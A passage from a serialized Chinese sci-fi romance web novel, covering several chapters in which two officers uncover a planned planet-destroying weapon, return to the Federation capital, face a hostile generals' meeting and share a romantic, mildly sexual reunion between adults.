德瓦母星上不是只有德瓦帝国和德瓦哨兵，还有普通的德瓦人民，还有作为奴隶的艾尼默人，还有其他的生物……难道就能直接一起都毁灭了吗？！ 裴简珩伸手过去，也在悬浮屏上点了几下，皱起了眉：“我刚到逐星号上的时候也有些疑惑，为什么逐星号会配备这么多的武器，根本不像是普通的科考任务，现在我明白了。” 闻铮脸色苍白地看向他，嘴唇也白得吓人。 “闻哥你看，”裴简珩拎出了Annihilation晶体的获得条件，“这种晶体，需要枯竭一整个星球才能获得不到100克。” “罗伊说过，逐星号的任务失败了，也就是说，他们没有拿到Annihilation晶体是吗？”闻铮想到了这一点，他喉头滚动了一下，“否则，德瓦帝国劫持了逐星号，也就会拿到这种晶体了。” 那就是联邦的灭顶之灾！ “我觉得没有。”裴简珩沉思，“如果他们拿到了，早就先把首都星毁了，何必又花心思研究基因战士，又费劲心思实验蓟梨草和B-356进行基因战争。” ……对。 闻铮颔首，他的一颗心稍微安定了下来。 那看来这只是一个理论——不对！ “段洄已经挑起战争了，”闻铮冷冷道，“说明哪怕逐星号失败了，段家还是用其他办法提取到了Annihilation晶体。” 裴简珩叹了口气，虽然不愿意，但还是不得不承认闻铮说得就是事实。 “荒谬！”闻铮眉眼间闪过几分厉色，“我可以接受联邦储备这种晶体作为最后的防御性武器，但无法认可为了主动毁灭一颗星球，就要挑起第三次星际战争！” 无数的鲜血、无数的死亡……多少家庭的破碎，个体的沉浮，就这样成为了不得不牺牲的一捧沙吗？！ 裴简珩脑海里闪过一个想法，他扬声问戈维：“戈维，你能查到联邦辖区内，有多少颗星球在近十年来被列为死星的吗？” 戈维计算得飞快：“6颗无智慧生命星，都是因可生存资源枯竭而被列为死星的。” 闻铮瞬间明白了裴简珩的意思：“你觉得这些都是段家的手笔？” “6颗星球……”裴简珩冷笑一声，“就算计入损耗，他们也至少有了500克Annihilation晶体，足以把德瓦母星从已知宇宙间彻底毁灭。”—— 作者有话说：感谢珍白雪w、34402499的营养液！ 掉落逐星号统一睡袍x1！ 第138章 重新归位 首都星, 联邦军部监禁室 和7号星的中央拘留所一样，这里也是铺天盖地的银白色，一旦看久了人都会失去感知其他颜色的能力。 棕发男人盘腿坐在监禁室的角落, 微阖双眼。 倏地, 监禁室的门被融开。 “段少将，你有一个访客, 访谈时间10分钟。” 狱警的声音在天花板上响起，如此闹着玩的行径, 想也知道这位访客地位如何。 “段洄。” 一个沉稳老成的声音传来，段洄慢悠悠地睁开眼睛, 看到了面前那张与自己堪称七八分相像的脸。 他站起身，慢慢道：“……父亲。” 段和华穿着全套军装, 神色复杂地看着这个唯一的儿子, 唯一的, 也注定要被牺牲的儿子。 “你做得很好。”段和华说, “我们已经得到了我们想要的, 奥克斯·奴瓦辛戈已经代表德瓦帝国宣战，德瓦哨兵的军队正在向洛河星系出发。” 段洄脸上没有什么表情, 甚至连一丝惯有的假笑都没有，只是微微颔首。 段和华看着他和自己如出一辙的脸, 放缓了神色，伸手按上了段洄的肩膀：“小洄，我们在做正确的事。” “只要德瓦帝国存在一天，宇宙中就不可能实现真正的和平。”段和华凝视着他，他留着胡子，冲淡了段家那双狐狸眼的阴鸷，“现在的和平只是虚伪的假象, 豺狼环伺，联邦只要一息停顿，眨眼间就会被吞噬殆尽。” “我明白，父亲。” 段洄敛下了目光，静静道：“联邦总有一天会明白的，与虎谋皮不是长久之计，扒了虎的皮才是根本之策。” “段家感谢你做出的牺牲，联邦终也会认可你的贡献。”段和华神色复杂地看着这个可以说是最优秀的儿子，半晌才道，“军事法庭在七天后开庭。” 段洄颔首，他并不担心。 联邦出于人道主义，早已经在一百年前废除了死刑，最多也就是和程迹一样被关在联邦法则之塔里几千年罢了。况且，一旦战争爆发，德瓦帝国被他们湮灭后，段家便会一举成为战争英雄，继而掌握更大的权力和话语，捞他出来只是一句话的事。 段洄迎上段和华的目光，只说了一句：“父亲，答应我德瓦帝国会就此毁灭，我做的一切就都有意义。” 段和华珍而重之地颔首。 两个人陷入了久久的沉默，段家的家风一向十分严肃，这两父子这么多年来，也没有过什么温情的时刻。 天花板上传来了访客倒计时一分钟。 段洄又坐回了地上，轻声问：“您觉得，他会高兴吗？” 段和华知道他问的是谁，他的眼中闪过了巨大的悲痛，随即缓缓道：“段家的利益和我们的诉求在此刻达成了一致，其他的都不重要，德瓦帝国必须毁灭，这个残忍冷血毫无道德的物种，也必须灭绝。” 段洄没有说话，半晌才轻声道：“再见，父亲。” 在段和华离去的前一刻，段洄却突然说了一句：“您知道闻铮上将这三年多一直在洛河星系7号星担任暗影组的指挥官吗？” 段和华愕然地转过身来：“什么？他不是和艾德莱斯闹翻了吗？” 走得那么难看，在全星系直播的授勋仪式上翻脸宣布退役，把联邦军部、尤其是一力举荐他的艾德莱斯上将的脸踩在脚下，就此消隐无踪。 怎么会隐姓埋名，还在军部系统里任职？ “具体原因我没有查出来，他当年悬空号的大副，凯利斯中校也追随他到了7号星。”段洄笑了起来，“我还没机会和这位闻上将当面交锋，但他确实很厉害，也带出不少了不得的人呢。” 段和华蹙眉，闻铮…… “他带着几个手下去执行外勤任务了，”段洄说，“我在系统里查到他们接的任务是去跨星系缉拿程迹。” “程迹？” 段和华眉头皱得更紧。 程迹和暗影组八竿子打不着，他是联邦最高通缉局的任务，用脚趾头想都知道这绝对是闻铮的掩饰，真实的目的到底是什么？ “您也想到了，闻上将根本不会在乎程迹，我很好奇他到底去干什么了。”段洄的脸色忽明忽暗，“他手底下的人宛如铁桶，我撬不开。” “但不知道为什么，我总有一种隐隐约约的预感。” 段洄棕色眼底闪过一丝阴郁：“这位闻上将，一定会成为我们路上最大的阻碍。” 时间到了，监禁室的门自动出现。 段和华颔首：“我知道了。” 他踏出门，最后看了段洄一眼，低声道：“……孩子，保重。” 段洄哂然一笑，重新闭上了眼睛。 …… 逐星号上，闻铮和裴简珩的脸色都很难看。 借由戈维的帮助，他们终于得以掀开这宏大阴谋的一角。 Annihilation晶体的出现，足以改变一切。 这种规模的毁灭级武器，它的存在本身就足以引起道德和利益的轩然大波，更不要提它的使用！ 这东西段家到底是怎么发明出来的…… 闻铮的脑中倏地闪过了什么，但转瞬即逝，他没有抓住。 裴简珩凝视着悬浮屏上的晶体，眼神晦暗难明。 直接毁灭德瓦母星，一切的基因实验、基因退化阴谋都将灰飞烟灭，联邦不用再生活在警惕之中，头顶那柄达摩克利斯之剑碎成粉末，克米恩人的种族灭绝大仇得报，很多物种都不需要再生活在恐惧之中。 战争会彻底的结束。 在这一瞬间，他竟然理解了段家的主张。 从结果来看，真正的和平确实到来了。 但这是对的事情吗？ 这项技术和武器要被握在谁的手里？ 人类？洛克斯人？苏里米亚人？还是……其他物种？ 这项武器一旦运用了第一次，每个种族都会开始担心有朝一日会不会被用在自己的母星上。 掌握这项武器的人，真的还会甘愿留在现在这个平等的联邦里吗？还是在有了绝对的话语权后，将联邦转变为下一个专职独裁的帝国呢？ 真的到了那一天，面对眨眼间毁灭一个星球的武器，谁敢真的站出来反抗？ 星际联邦的联合基础，不再是信任、合作与共赢，而变成了恐吓、忌惮与猜疑。 闻铮侧脸，在昏暗的环境里，他那双漆黑的眼底闪着点点火光，而在双唇开启之间，裴简珩心底的声音被他一字一字地说了出来。 “简珩，我们必须找到其他方式结束这场战争。” “否则，德瓦帝国固然灰飞烟灭，联邦还会存在吗？” …… 逐星号马上就可以回到联邦首都星了。 不知道为什么，凯利斯明显感觉到这几天舰桥的气氛不太对劲。 主要是闻哥和裴简珩不对劲，他们神色严肃，好似有什么沉重的事情压在他们心头。 固然战争又开始了，但就算在第二次星际战争的时候，凯利斯也没见过闻铮这种表现。 绝对是更大的事情…… “简珩，还有多久降落？” 闻铮问道，裴简珩从数据看板上抬起头，回答：“二十分钟，轮机室正在退出空间迁跃模式，我们马上就能看到——” ——首都星了。 他话音未落，船身微微颤动，轮机室退出了空间迁跃，所有人眼前出现了一颗蓝色的美丽星球。 她就那么伫立在宇宙之中，静静地、缓慢地、带着无数的生命旋转。 舰桥上的所有人都站了起来，对这久别重逢的故乡投以最崇高的敬意。 闻铮透过舰桥的透明玻璃深深地凝视着这颗星球。 他前十六年在7号星，那是他的家。 后十六年，他来到了首都星，回到了他父母的母星。 在这里他获得一切，也失去一切。 三年前他毅然决然离开，没想到会在这么短的时间内又回来。 这颗寄予了人类和联邦绝大多数信仰的星球，所有人都会拼尽全力地去守护她。 “全舰广播通讯。” 闻铮按响了通讯，他那微微沙哑的声音在整个逐星号之中回荡。 “逐星号将在十七分钟后降落至联邦首都星的军用港，感谢诸位，我们回家了。” 舰桥成员都是眼眶微红，他们中绝大多数，已经很久很久没有回到首都星了。 同样的，在医疗室进行治疗的人类Alpha们，在听到闻铮的话后，更是直接落下泪来！ 他们在德瓦基地暗无天日的地狱中，想都不敢想，竟然还有一天能在回到母星，回到故乡，回到家，能再和亲人团聚相拥。 闻铮结束全舰通讯，千言万语，只汇成了一句：“……准备降落。” 逐星号穿过了大气层，正式踏入了首都星内。 凯利斯正在和军用太空港联系降落，裴简珩在全神贯注地掌舵落地，黎晓和程迹也在实时汇报地面情况和轮机运转，一切正常。 十七分钟后，逐星号驶入军用港。 流离漂泊多年的星舰，终于得以回家。 凯利斯转身报告：“闻哥，联邦军部联系我，艾德莱斯五星上将正带领一队军官在地面迎接我们。” 闻铮颔首，表面不动声色，其实心里跳漏了一拍。 他几不可见地瞥了裴简珩的背影一眼，在知道了自己的Alpha是好友的儿子以后，他现在甚至都不知道要对艾德莱斯上将摆出怎样的态度才合适。 就希望他们还是先聊公事吧…… 联邦人工智能中控的声音响起：“报告舰长，星舰所有落地程序已完成，星舰舱门已准备开启。” 闻铮从舰长椅上站了起来，沉声道：“所有人，换上军装，跟我走。” 舰桥诸位都站了起来，他们身上已经穿着联邦军服了，就连茱莉，闻铮授予了程迹马甲的中尉军衔，程少将在成为逃犯的几年后，又重新将这深蓝色的军装穿在身上，一时之间心里也有些五味杂陈。 闻铮凝视着眼前的舱门，沉声道：“舱门开启。” 凯利斯、程迹、黎晓和赫尔都在他身后站成一排，裴简珩落后他半步，闻铮鼻尖依稀能闻到淡淡的檀木香，这让他在这个时刻心底有说不出的安心。 舱门开启，闻铮看到了前方站着一队穿着军装的人。 他微微仰首，下颌线在空中划出一个锋利尖锐的弧度，六个人的军靴后跟在和地面敲击之间发出了令人牙酸的整齐划一的声音。 闻铮带着他们，一步步走回星舰军部，第三军团之刃在这一刻，重新归位！ 第139章 闻铮向您报到 闻铮好像和三年前不太一样了。 艾德莱斯五星上将注视着这位看好的后辈、忘年的好友和志同道合的战友一步步朝这边走来, 依稀有些感慨。 他最开始认识闻铮的时候，这位传奇上将刚刚十七岁。 他谎报了年龄参军，一年后被发现年龄不对, 机缘巧合之下, 就这么闯入了艾德莱斯的视线中，他被少年漆黑瞳孔下的不屈火光吸引, 也看到了深藏在这一具年轻躯体下的无限潜能。 事实证明，他是对的。 三十岁的闻铮, 已经成为了联邦有史以来最年轻的上将和最传奇的舰长，而作为看着他成长的引路者, 艾德莱斯与有荣焉。 作为闻铮的导师，他深感骄傲与欣慰。 而作为闻铮的朋友, 他也非常清楚, 这柄剑为了把自己磨成锋利无比的模样, 到底牺牲了什么。 三年前闻铮离开的时候, 艾德莱斯已经在他身上看不到那个十七岁少年的任何影子了。 那些稚嫩、天真、冲动、愤慨等等真实的情绪……都已经在十三年的战争中磨灭了。 他们做了最后一个交易。 交易之内是联邦的利益, 交易之外，艾德莱斯也希望闻铮能找到他一直在寻找的东西, 他对得起联邦，艾德莱斯也希望他能对得起他自己。 而现在, 闻铮又重新出现在他面前。 他变得更加瘦削修长，看似薄薄一片，但举手投足间的每个动作，都让人能感受到这具身体里蕴含的内敛力量。 那张脸依然苍白锋利，三年的时间好似给这柄原本锐利到耀眼的锋刃镀上了一层薄雾，利气不减，却变得更加大开大合, 气势磅礴。 艾德莱斯看到闻铮在他面前站定，对自己笑了一下，颊边的梨涡和三年前倒是一模一样：“艾德莱斯五星上将，闻铮向您报到。” 艾德莱斯也笑了笑，笑容里怀念与欣喜并存：“欢迎回来，闻上将。” 是他的错觉吗？ 他怎么依稀在闻铮脸上看到了一丝尴尬和不安？ 艾德莱斯上将的动作都顿了一下，他甚少在闻铮脸上看到这种表情，一时之间脑子里已经闪过了几件不得了的事，闻铮不会是去把德瓦哨兵大本营掀了吧？！ 他哪里猜得到，闻上将是正在为睡了他儿子而感到尴尬和不安…… 闻铮清了清嗓子：“这是我现在团队的成员，我会为他们在悬空号上安排职位，跟随我一起进入第三军团。” 艾德莱斯上将的目光扫过他身后的五个人，这些人他已经在全息投影的时候见过一次了，虽然听到闻铮要把他们都塞进悬空号里有些惊讶，但闻铮才是悬空号的舰长，在军舰上职级高于军衔，所以他不会轻易置喙闻铮的决定，除了…… 这位将近六十依然风华正茂的中年Alpha有些艰难地开口：“……也包括裴简珩吗？” 他的小儿子在一旁默默无言：“您终于是看到我了。” 从他们出现以后，艾德莱斯上将就一直把目光都放在闻铮身上，裴简珩一时之间也不知道到底谁才是他的亲儿子。 不过自己这位父亲，自从16年前遇到闻铮之后，在家里总是絮絮叨叨，让裴简珩从11岁开始，“闻铮”这个名字就听得他耳朵都起茧子，艾德莱斯这么严厉苛刻的人，居然会对一个小了他一轮的人如此赞不绝口。 裴简珩自我沉思，也许他对闻哥的崇敬和憧憬就从那个时候开始了也说不定。 艾德莱斯上将终于把目光移向了自己的儿子，有些不满：“你怎么还是去找闻上将了？我是不是和你说过，不允许你私自去联系他？” 裴简珩只是微笑，也不接话，也不认错。 四年前他知道闻铮被迫封锁记忆后就已经和艾德莱斯争吵过，只是他不想在自己羽翼未丰甚至生死难测的时候就将心意剖白给他人，更不想给闻铮带来任何麻烦，尤其在他已经被迫将自己忘得一干二净的时候。 三年前闻铮突然退役消失，裴简珩也去和自己这位父亲交涉过，艾德莱斯一方面禁止他去私自联系闻铮，另一方面也讶异于他对闻铮的关心，只是将这归根于共生死患难的救命之恩，裴简珩也没有再多说什么。 结果这犟得要死的小兔崽子…… 还是把什么都一扔跑去找闻铮了！ 艾德莱斯上将比谁都了解自己这个低调的小儿子，看似温文尔雅彬彬有礼，实则犟得堪比倔驴，自从基因改造以后，更是一度消沉颓靡，直到某一天才突然清醒了过来。 他说怎么这四个多月都没有裴简珩的消息，还以为他又去出了什么机密任务，没想到……哼！ 闻铮的表情却有些奇怪，似乎想说什么又按下了，只是眼尾微微抽搐了一下，道：“……对，包括裴简珩。” 艾德莱斯上将欲言又止，最后也没有说什么，毕竟这里也不是什么说话的好地方，只是示意了一下闻铮和他先去军部一趟。 闻铮转头对其他人道：“我需要先去一下总部，你们可以先行解散，等我消息。” 他顿了一下，弯了弯眼睛：“也回去见见家人和朋友吧，如果没地方去，我也给你们安排了住所，先去休息。” 艾德莱斯上将瞥了他一眼，出去三年，倒是柔和了很多啊。 闻铮的目光和裴简珩的对上，他心里有些促狭之意，垂眼在手腕上的通讯点了两下，然后转身对艾德莱斯上将点头：“我们走吧。” 他们上了艾德莱斯上将的悬浮车，这里的车可比7号星那个落后地方的高科技多了，眨眼就整车进入了高速模式，速度堪比相位穿梭，只剩其他人还呆呆地留在原地。 黎晓见到了传闻中的艾德莱斯五星上将，那可是目前人类最高等级的Alpha和最高军衔所有者，让他激动得满脸通红。 凯利斯无语地看着他紧紧抓着自己胳膊的手：“差不多得了，我胳膊都被你攥红了。” 黎晓这才反应过来，讷讷地撒了手。 凯利斯一边活动着胳膊，一边目光扫过其他人：“你们都有地方可去吗？” 赫尔摆摆手：“不用管我，我去见见朋友们。” 程迹淡淡道：“我直接去住所。” 也是，他一个逃犯，在首都星还能去找谁呢。 黎晓沉默了一下，慢慢说：“我也去住所。” 在离开星舰军校以后，他的父母就搬到了辉丽星系，也不在首都星了。 他对首都星虽然感官复杂，但……确实也没什么牵挂还在这里了。 凯利斯看了他一眼，没说什么，只是道：“我需要和军部对接，把逐星号上的艾尼默人和人类Alpha幸存者安排好。” 他问黎晓：“你要是没什么事的话，留下帮我？” 黎晓一怔，随后抿了抿唇，点头。 凯利斯和艾德莱斯上将留下的一个秘书去讨论相关事宜了，在路过黎晓的时候，顺手轻轻拍了拍他的发顶。 而裴简珩，自己的亲爹和爱人扬长而去，他却低头看着手腕上的通讯，竟然笑得有点傻气。 是闻铮的通讯。 上面有一个地址，还有一串密钥。 …… 在输入拜访者密钥之后，公寓的门被打开了。 裴简珩站在门口，望向了闻铮的家。 这栋公寓楼是军用的，住了不少还未成家的单身军官，闻铮这套房子位于最顶层的113楼。 这里的地址不能在任何软件上查找到，甚至在公寓区外还有一层看不见的法拉第笼，防止电磁窃听和外部电磁脉冲武器的攻击。 如果不是裴简珩也是将官级军衔所以知道这个地方，他拿着地址都找不到。 这套房子应该是军部分给闻铮的，很大，一个平层都是他的，得有五百个平方，但裴简珩看得出这房子的利用率……真的是极低。 装修也是冷冰冰的统一模板，感觉房子分下来之后，闻铮直接就拎包入住了，提供的装修改造方案哪怕可以一键生成，闻铮也懒得搞，导致这套房子，毫、无、人、气。 裴简珩刚打开门的时候还以为是样板间。 他站在门口无奈地笑着摇头，小心翼翼地踏了进去。 房间里很干净，家居人工智能和机器人隔三天就会进行一次清洁。 客厅什么也没有，裴简珩又去了厨房。 冰箱一开，里面除了几袋已经过期的营养液，同样什么也没有。 裴简珩注视着那几袋原味营养液，似乎看到了他的闻哥在家里只靠营养液过活的日子。 怪不得瘦成那个样子…… 裴简珩知道闻铮有钱，也知道食物复制机做出一桌子好吃的饭菜只需要二十分钟，在这种情况下，闻铮还是选择了更方便又难吃的营养液，真是没人比他更不会照顾自己。 对别人么，千分万分的好；对自己么，敷衍成这个样子。 裴简珩也不知道哪里来的一股气，心疼和无奈交织，让他此刻除了叹气，竟然也一句话都说不出来。 手腕上的通讯又响了。 闻哥：一个小时后简报结束，我会回家。 而一分钟后发回到闻铮通讯上的，是一只乖乖点头的大白狗表情贴纸。 最高会议之上，众目睽睽之下，闻铮当着联邦八大上将的面笑出了声—— 作者有话说：在战争正式开始之前，赶快抓紧谈几章恋爱=w= 第140章 联邦上将军装 联邦军部为了闻铮的回归, 召开了最高会议。 最高会议由艾德莱斯五星上将主开，集齐了目前联邦的另外八位四星上将。 当然了，在闻铮回归之前, 四星上将只剩七位。 现在在这个军部最神秘高等的会议室里, 艾德莱斯五星上将坐在主位，其余人分别都在圆桌旁落座, 除了三位上将赶不回来，在线上用全息投影参加以外, 在场还有五位上将。 会议开始刚刚五分钟，作为这场会议中心的闻铮上将, 就在众目睽睽之下，扫了一眼手腕上的通讯中端, 随即莞尔一笑。 八位上将都被他的笑声吸引了过来。 莱克尔种族的代表瑞德上将挑起了眉, 打趣道：“许久不见, 闻上将好像变得生动了不少。” 闻铮按灭了通讯的屏幕, 淡淡道：“抱歉, 家里的大狗比较可爱，分心了。” 其他上将：“……” 科拓斯上将是艾尔文种族的代表, 她脸上挂着艾尔文人独有的假笑，温和地解围：“看来闻上将这几年有好好休息, 有陪伴在身旁是会让人少些压力。” 闻铮下意识地摸了摸鼻尖，对她笑了一下：“多谢您，科拓斯上将。” 一个冷淡的声音蓦地响起。 “休息吗？我倒是有个问题想问问闻上将，听说你这几年在洛河星系7号星的暗影组任职，不知道是真是假？” ——段和华。 闻铮瞥了一眼这位激进的主战派话事人，他面容坚毅冷峻，冷冰冰的, 确实一看就给人一种不怒自威之感。 自己此前常年征战在外，和段和华基本没有交流，最多就是开会的时候点头之交。并且虽然大家同为四星上将，但还是会有军功、经验年限等差别，段和华在四星顶，闻铮在四星中，硬要论的话，段和华也比闻铮高了半级。 看来段洄的事情并没有波及到段和华与整个段家，不知道是及时割席了还是怎样，起码现在段和华还能稳稳地坐在这里，好像犯下了叛国罪的并不是他的儿子。 但这并不代表闻铮不会往他的痛脚上狠踩一脚，他脊背挺直，似笑非笑地反问了回去：“哦？段上将是从哪里听说的？……啊，我记得您的儿子段洄少将被从洛河星系7号星以叛国罪的罪名逮捕回来了，是他和您说的吗？” 其他上将：“……” 瑞德上将饶有兴味地挺直了腰背，他最喜欢和闻铮开会了，这个历史上最年轻的上将锋芒毕露，锐不可当，每次开会只要有人挑事，闻铮可谁都不惯着，毕竟他没有家族和其他要顾及的东西，谁都敢拐着弯骂。 闻铮离开的这三年，会开起来都没意思了。 段和华脸色微沉，倒也没有发作，也没有回答闻铮的问题，只是道：“我只是单纯地好奇。毕竟洛河星系7号星现在已经变成了最前线的潜在战场，如果闻上将过去三年都在7号星，那或许也可以给我们一些线索。” “至于闻上将得到暗影组这个职位的程序是否正当，”段和华平静地说，“那也许要交给军事法庭来判断了。” 其他六个四星上级瞬间坐直了，这家伙，闻铮刚回来的第一个会议就这么刺激啊？ 联邦法律规定，出于利益冲突考虑，除上级直接命令外，上将级军官不得同时从事低于本身军衔三级以下的职位，违令者轻则吃处分，重则降军衔。 看来段和华来者不善，调查得倒是一清二楚啊。 闻铮知道，暗影组的人肯定不会泄露给段洄，毕竟他们都不知道闻铮的身份。但段洄这么聪明的人，系统里一点闻铮的信息和影像资料都没有，难道不正是说明了有什么问题吗？ 反正也没什么损失，如果闻铮是段和华，他也会像这样诈一下的。 闻铮笑了一下，既不自证也不解释，只是懒洋洋道：“可以，还请段上将提出诉讼吧，只是不要和令郎的叛国罪审讯撞时间了，我还是蛮想去旁听一下段洄的审讯现场的，想听听他到底是出于什么原因，才愿意成为这个挑起第三次星际战争的千古罪人。” 段和华眉眼抽搐了一下。 一声冷笑传来，是博特人的代表克林特上将，他冷着一张脸发难：“三年不见，闻铮上将还是这么诡言善辩，星舰军部对你来说，还真是想来就来，想走就走啊。” 闻铮理都懒得理他。 克林特上将是段和华一手提拔起来的，和他立场完全一致，战力固然出类拔萃，但脑子总有点搞不拎清，闻铮和他吵都不想吵。 “好了。” 艾德莱斯五星上将淡淡说了两个字，所有的四星上将都不再发言了。 “段上将，”艾德莱斯先转向了他，“闻上将这三年是在执行秘密任务，任务需要他潜伏在洛河星系7号星，这是有来自上级的直接命令的。” 段和华直直看向了艾德莱斯，他们两个政见不同已经不是什么秘密，发难也无需装模作样：“哦？敢问是来自哪个上级的命令，您吗？” 在座的都是上将，你艾德莱斯凭什么只给某一个上将下达机密任务，把所有星民、公众、和其他上将都瞒在鼓里？你到底是不信任这张桌子上的谁？ 艾德莱斯目光沉沉：“我的，和星际联邦主席的。” 众人：“……” 谁？ 星际联邦主席？？ 除了闻铮以外，所有人都面露惊愕，掩饰都掩饰不住！ 段和华更是皱紧了川字眉，重复道：“星际联邦主席？” “星际联邦主席通过秘密情报得知，德瓦帝国虽然战败，但仍然在暗中有敌对动作，为了混淆视听让敌方放下戒备，才给了闻上将一个机密任务去执行。” 艾德莱斯五星上将面无表情地看向段和华：“如果段上将还有任何疑虑，欢迎去和星际联邦主席确认。” 段和华沉默，半晌慢慢道：“您说笑了，您的话，我怎么会不相信呢。” 艾德莱斯上将颔首，又转向了闻铮，不痛不痒道：“还有你，闻上将，不要一回来就无差别攻击。段洄的罪名已经经过了前期调查，属于个人自发行为，与段家无关，当然与段上将也无关。” 闻铮弯了弯眼睛，眼底没有丝毫笑意：“明白，长官。” ……放屁。 就凭段洄自己，能搞得出来Annihilation这种东西？能调动起这么多资源？ 这前期调查到底是谁做的？ 艾德莱斯上将上身微微前倾，双手交叉放在桌面上，三十大板已经各自打过了，他便沉声道：“如今是联邦的存亡关头，在座的都是整个联邦倚仗之人，我不希望看到内部还在分崩离析和互相攻讦。” 全场静默。 “好了，现在我们可以开始正题了。” 艾德莱斯上将道。 …… 说是一个小时，等闻铮踏进这个三年没回来的家门的时候，已经快一个半小时了。 他一进门，鼻腔内就涌入了热乎乎、香喷喷的饭菜香气。 闻铮一怔。 他孑然一身了十六年，早习惯于用冰冷的营养液维持生命体征，已经不记得上一次回到家里有这种温暖之意是什么时候了。 他轻手轻脚地去到了香味的来源，在厨房那扇透明门外，高大俊美的Alpha正捧着一盘冷餐，似乎在琢磨怎么样才能让它摆起来更好看一点。 闻铮没有意识到，自己在笑。 很纯然、很干净、很幸福的那种笑。 裴简珩脱下了军装，只穿着贴身的黑色衬衫，衬衫的袖子挽到了手肘，甚至还不知道从哪个犄角旮旯里翻出来了一条围裙——他怎么从来不知道自己家里还有围裙——在厨房里像一只开心的大型犬一样忙来忙去。 直到他转身打开冰箱的时候，撞见了玻璃门外正看着他笑的闻铮。 闻铮眼看着裴简珩那双湛蓝色的眼睛亮了起来，那汪漂亮的海水因为看到了爱人而水波荡漾，美得让人心惊。 裴简珩按开了玻璃门，探出来了一个脑袋：“回来啦，闻哥您先去休息，我再切一个果盘就好！” 随着门的开启，飘出来的不只是饭菜和油烟的气息，还有裴简珩身上淡淡的檀木香。 没有人会在这个时候说些类似于家居人工智能和机器人都能做你费什么劲的扫兴话，闻铮也一样。 他身上还穿着笔挺的黑色上将军服，上前几步拉过了裴简珩的领子，给了他一个缠绵悱恻的长吻。 裴简珩被他的主动搞得五迷三道，甚至连手里的冷盘一时之间都不知道放在哪里。他一手端着盘子，另一手揽过闻铮劲瘦的腰肢，把这个吻吻得更加深入黏｜腻。 直到他们两个都微喘着分开，闻铮敏锐地察觉到了Alpha的某个地方已经立刻昂首挺胸了。 他低低笑了笑：“你怎么回事啊，亲了一下就反应这么大？” 裴简珩可禁不起他这种挑|逗。他伸手把冷盘随手一放，双手掐住闻铮的腰就把他这么端到了厨房岛台上，声线低哑得吓人。 “闻哥，您知道您穿着上将军装的样子，有多勾人吗？”—— 作者有话说：明天记得早点来哦！《 》 140-150 第141章 为什么退役？ 闻铮笑了, 他往后一仰，那双长得惊人的腿缠上了裴简珩的腰，用力一绞, 把他更近地拽向自己, 两个人贴得严丝合缝，让他更能感受到Alpha被他诱惑得有多么……厉害。 裴简珩一手死死地搂住闻铮, 把他抵在自己怀里吻得两个人都气喘吁吁，另一只手顺着他的腰肢来回滑动, 咔哒一声把军装的皮带解开了，又一粒一粒地揭开他军装的扣子。 闻铮咬住他的耳垂, 含糊不清地说：“怎么还发了一张大狗的表情过来，你自己也觉得你像狗吧。” 裴简珩失笑, 他钳住闻铮的下巴晃了晃：“您不是一直觉得我像么？” 摸他的手法也像摸狗, 有的时候看他的眼神也像再看一只喜爱的忠诚犬, 裴简珩怎么可能没有感觉。 可他愿意做闻铮的护卫犬, 这样除了自己以外, 谁都不能看他，不能碰他, 不能伤害他。 裴简珩埋首进闻铮的颈｜窝里，对着那块已经平滑到只剩紫黑色疤痕的腺体又|舔|又|咬, 他的占有欲和征服欲已经满溢不止，信息素也不再掩饰，铺天盖地。 这里……只有他才能靠近，也只有他才能把自己的信息素灌｜进去，让闻铮身上烙下他的气息，他的印记。 信息素灌进去的时候，闻铮喘|得厉害, 几乎小｜死一回，只能把自己和裴简珩贴得更紧更紧，在他身上获取赖以生存的氧气。 星际战争，德瓦帝国，行星毁灭，基因退化…… 这些事情都像狂风骤雨般扑面袭来，席卷着每个人进入这滔天的浪潮，而闻铮就站在风暴的中心。 但在此刻，在和裴简珩紧紧相拥四|肢|交缠的时候，他感受到了巨大的安定和确信，只要他们在一起，他的心里就有一处锚点。 闻铮也一口｜咬｜住了裴简珩的腺｜体，让这个超S级Alpha基因战士浑身一震，在下意识的生理性抗拒之后，他驯服了根植在Alpha骨血里的骄傲，在闻铮面前虔诚的低下头去。 裴简珩感受着自己颈｜窝里的啃｜咬，舔|舐，还有紧随而来的湿意与眼泪，他不知道那些眼泪多少是情|事使然，多少又是由爱而生，他只知道这一刻他等了太久，为了能永远留住这一刻，他愿意付出任何代价。 …… 等到两个人胡闹完，已经是两个小时之后了，幸亏现在科技发达，在餐桌上的饭菜一直都没有凉。 “我不知道你居然还会做饭。” 闻铮坐到椅子上，在坐下之前，裴简珩眼疾手快地放了一块垫子过去，闻铮摸了摸他的下巴，算是满意的奖励。 裴简珩无奈，还说没把他当大狗看，这还不明显吗。 “我觉得做饭对我来说很解压。”裴简珩给闻铮盛了一小碗饭，“哪怕现在人工智能和物质复制机发展很成熟，但是人工做出来的食物还是不可替代的，所以有时间的话我都会选择自己做。” 说完，他眯了眯眼睛，开始控诉：“闻哥，您的冰箱里除了营养液什么都没有，平时都只靠这些吗？那您怎么补充营养？怪不得瘦成这样！” 闻铮拿起筷子，无言地看他：“你猜猜营养液为什么叫营养液？” 有没有可能就是因为它可以直接供给人体所需要的营养？ 裴简珩：“……” 居然有一点道理。 裴少将见吵不过闻哥，立刻转变策略：“可是很难吃啊，只是吸食营养液获得不了任何情绪价值和精神满足，真的就只是单纯的维持生命体征而已。” 闻铮道：“这就够了，我要靠进食才能获得情绪价值和精神满足是不是有点太可悲了。” 裴简珩立刻道：“您骂我。” 闻铮：“……？” 不是，你小子。 闻铮被他气笑了。 不过他也发现，自从裴简珩身份曝光而自己还是选择了他之后，他就和之前有了些变化。 他好像不再执着于在闻铮面前展现成熟沉稳又靠谱的一面，而是偶尔也会允许自己流露出属于年轻人的一点任性和撒娇，不得不说，这倒是很满足闻铮的上位者心态。 ……除了在床|上。 这位基因战士每一次在床|上都会让闻铮死去活来，就在身份曝光之后，也不知道他到底打通了哪根筋，花样又多夯得又猛，若非他们天生一对，闻铮还真担心自己吃不消。 刚刚也是一样。 闻铮现在身下还传来隐隐的酸|胀|感，那种余韵让他浑身发软，反正也是在家里，面对的也是自己的爱人，闻上将干脆懒懒地靠在他身上，有一搭没一搭地吃饭。 筷子夹着菜一送进嘴里，闻铮就是一怔。 居然真的……相当好吃！ 裴简珩可是艾德莱斯和裴又青的儿子，联邦最高上将和首富的家庭那是金字塔顶端又顶端的阶级，这手艺居然比专业的厨子都好！ 闻铮毫不吝啬自己的称赞：“很好吃，好吃到我怀疑你上的不是星舰军校，是星际厨师技术学校。” 裴简珩眼睛亮晶晶的，能让自己深爱的人喜欢自己做的食物，让他心里浮现巨大的满足感。 